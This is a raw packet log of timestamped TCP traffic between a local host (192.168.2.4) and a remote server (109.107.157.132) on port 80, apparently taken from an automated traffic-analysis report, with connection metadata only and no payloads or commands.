Nov 21, 2024 22:33:05.017575979 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.017616034 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.017630100 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.019176960 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.019187927 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.019226074 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.019236088 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.021012068 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.021023035 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.021064997 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.022635937 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.022646904 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.022685051 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.024468899 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.024481058 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.024517059 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.025998116 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.026010036 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.026046991 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.027239084 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.027283907 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.027328014 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.027376890 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.030527115 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.030572891 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.030704021 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.030869961 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.031600952 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.031613111 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.031657934 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.032722950 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.032733917 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.032818079 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.034332991 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.034379005 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.034526110 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.034575939 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.035774946 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.035824060 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.035938025 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.035979033 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.037395954 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.037442923 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.037580013 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.037623882 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.038923025 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.038968086 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.039093018 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.039140940 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.040584087 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.040633917 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.040779114 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.040829897 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.042059898 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.042107105 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.042249918 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.042294979 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.043540955 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.043587923 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.043699026 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.043751001 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.045157909 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.045206070 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.045336008 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.045380116 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.046653032 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.046700001 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.046844006 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.046888113 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.048351049 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.048362017 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.048402071 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.049760103 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.049806118 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.049927950 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.049973965 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.051282883 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.051331043 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.051450014 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.051490068 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.052822113 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.052833080 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.052870989 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.054434061 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.054482937 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.054577112 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.054625034 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.055890083 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.055947065 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.056058884 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.056103945 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.123584032 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.123655081 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.123768091 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.123776913 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.123786926 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.123821020 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.123845100 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.124885082 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.124941111 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.125056028 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.125102043 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.126363993 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.126374960 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.126426935 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.127444029 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.127510071 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.127619982 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.127669096 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.128825903 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.128838062 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.128875971 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.129957914 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.130007982 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.130112886 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.130156994 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.131236076 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.131285906 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.131432056 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.131477118 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.132463932 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.132508993 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.132620096 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.132664919 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.133680105 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.133692026 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.133735895 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.134627104 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.134673119 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.134785891 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.134826899 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.135925055 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.135936022 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.135974884 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.136770964 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.136781931 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.136820078 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.137538910 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.137583971 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.137662888 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.137707949 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.138660908 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.138708115 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.138729095 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.138765097 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.139738083 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.139786005 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.139847994 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.139893055 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.140806913 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.140852928 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.140906096 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.140949011 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.142005920 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.142076015 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.142149925 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.142189980 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.143023968 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.143071890 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.143105030 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.143153906 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.144094944 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.144141912 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.144222021 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.144265890 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.145149946 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.145195961 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.145267963 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.145311117 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.146259069 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.146303892 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.146334887 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.146380901 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.147356033 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.147403002 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.147417068 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.147456884 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.148421049 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.148437977 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.148463011 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.148475885 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.201492071 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.201503038 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.201689959 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.201792002 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.201792002 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.201869011 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.201931000 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.201965094 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.202012062 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.202752113 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.202796936 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.202925920 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.202971935 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.203552961 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.203598976 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.203691006 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.203732967 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.204335928 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.204380989 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.204468966 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.204510927 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.205194950 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.205239058 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.205328941 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.205373049 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.206065893 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.206108093 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.206191063 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.206233978 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.206886053 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.207003117 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.207046986 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.207091093 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.207689047 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.207742929 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.207830906 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.207880020 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.208559036 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.208605051 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.208688021 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.208734989 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.209404945 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.209450960 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.209458113 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.209496975 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.210289955 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.210335970 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.210397005 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.210443020 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.211146116 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.211194992 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.211235046 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.211281061 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.211925983 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.211996078 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.212019920 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.212061882 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.212757111 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.212802887 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.212855101 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.212901115 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.213594913 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.213644028 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.213705063 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.213751078 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.214442015 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.214488983 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.214520931 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.214574099 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.215260983 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.215307951 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.215331078 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.215383053 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.216126919 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.216175079 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.216334105 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.216378927 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.216974974 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.217031956 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.217096090 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.217139959 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.217870951 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.217917919 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.217920065 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.217958927 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.218672037 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.218691111 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.218717098 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.218728065 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.219515085 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.219567060 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.219619036 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.219664097 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.220408916 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.220458031 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.220485926 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.220523119 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.221170902 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.221218109 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.221272945 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.221318007 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.221991062 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.222062111 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.222099066 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.222141981 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.222835064 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.222882032 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.222958088 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.223002911 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.223702908 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.223748922 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.223782063 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.223828077 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.224528074 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.224570990 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.224646091 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.224688053 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.225354910 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.225399017 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.225465059 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.225508928 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.314954996 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.314985991 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.315119028 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.315119028 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.315291882 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.315340996 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.315371037 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.315414906 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.316142082 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.316190004 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.316452980 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.316497087 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.316572905 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.316617012 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.317297935 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.317343950 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.317455053 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.317500114 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.318120003 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.318166971 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.318229914 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.318274021 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.318991899 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.319036961 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.319075108 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.319123983 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.319835901 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.319890976 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.319930077 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.319979906 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.320652008 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.320698023 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.320777893 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.320836067 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.321497917 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.321574926 CET	49733	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:05.321604013 CET	80	49733	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:05.321646929 CET	49733	80	192.168.2.4	109.107.157.132
